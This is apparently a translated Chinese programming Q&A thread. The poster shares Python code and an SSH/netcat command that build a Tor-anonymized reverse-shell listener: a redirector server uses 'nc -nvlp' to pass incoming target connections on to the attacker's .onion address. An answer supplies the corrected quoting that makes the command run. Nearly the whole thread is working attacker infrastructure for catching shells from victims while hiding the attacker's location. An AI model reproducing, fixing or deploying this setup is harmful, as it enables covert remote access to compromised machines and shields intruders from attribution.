我正在编写一个python脚本来帮助我通过tor创建反向监听器。链如下:
目标连接到>一个linux重定向服务器,配置为对所有tcp和dns流量使用tor。
此服务器侦听指定的端口并转发通过>的连接。到攻击者pc的.onion地址,其中netcat接收连接。
我通过SSH连接到重定向服务器,根据需要创建转发端口。除了ssh命令ssh user@ip.address "nc -nvlp 1234 -c'nc address.onion 1234'
之外,我的脚本工作正常。如果我在bash终端输入命令,一切都很好。
但我尝试使用os.system,subprocess等发送ssh命令无济于事。我也尝试使用paramiko连接到ssh并发出命令但同样的问题。正如我所说,如果我复制python将发送到bash终端的命令,它工作正常。任何帮助将非常感激。
以下是不起作用的代码段,其余代码只是编辑并重新启动,但如果有人需要,我可以发布所有代码:
SSH_Hostname = '192.168.1.71'
SSH_Username = "servant"
SSH_Command ="ssh %s@%s \"nc -nvlp <PORT> -c 'nc <ONION> <PORT>' </dev/null &\" &" %(SSH_Username,SSH_Hostname) #works manually
def SSH_Script(port):
newSSH_Command=SSH_Command.replace('<ONION>',Get_Onion(TOR_Hidden_Service_Dir))
newSSH_Command=newSSH_Command.replace('<PORT>',port)
print "Configuring Redirector > %s" %newSSH_Command
os.system(newSSH_Command)
呼叫者:
def Create_Listener(lport):
print "Starting listener on %s ..." %lport
Add_Tor_Port(TOR_Hidden_Service_Dir,lport)
retvalue = os.popen("service tor status|grep Active:").read()
if "inactive" in retvalue:
print "Starting Tor ..."
os.system("service tor start")
else:
print "Re-starting Tor ..."
os.system("service tor restart")
sleep(3)
print 'Onion Address = %s' %Get_Onion(TOR_Hidden_Service_Dir)
SSH_Script(lport)
#start netcat
portlist = Get_Tor_Ports(TOR_Hidden_Service_Dir)
for prt in portlist:
print "listening on port %s" %prt
get_onion:
def Get_Onion(hs_dir):
hostnamefile= open('%s/hostname' % hs_dir)
onion= hostnamefile.read().replace('\n','')
hostnamefile.close()
return onion
这就是print newSSH_comand输出的内容:
ssh servant@192.168.1.71 "nc -nvlp 55501 -c 'nc 2xvch5okdl76sn2j.onion 55501' </dev/null &" &
如果我复制该字符串并输入bash一切正常。只是不能让python执行它正确
答案 0 :(得分:0)
我怀疑这是一个o / s级问题。当您手动运行SSH命令时,您是否从此python脚本运行的同一帐户运行它?用于执行Python脚本的用户帐户可能无法访问SSH,或者用户无法访问authorized_keys文件,该文件可用于查找用户@主机组合的SSH密钥。检查您的SSH设置;)
如果按原样运行此代码,您是否在运行此代码的计算机上看到192.168.1.71上主机的任何登录尝试?
你的get_onion中的行hostnamefile= open('%s/hostname' % hs_dir)
似乎在%
答案 1 :(得分:0)
嗯,我让它为那些有这样麻烦的人工作。无论出于何种原因,python都不喜欢我的&#34;和&#39;订购。我改变了:
SSH_Command ="ssh %s@%s \"nc -nvlp <PORT> -c 'nc <ONION> <PORT>' </dev/null &\" &" %(SSH_Username,SSH_Hostname)
要:
SSH_Command ="ssh %s@%s 'nc -nvlp <PORT> -c \"nc <ONION> <PORT>\" </dev/null &'&" %(SSH_Username,SSH_Hostname)
对我来说没有多大意义,但无论哪种方式都有效。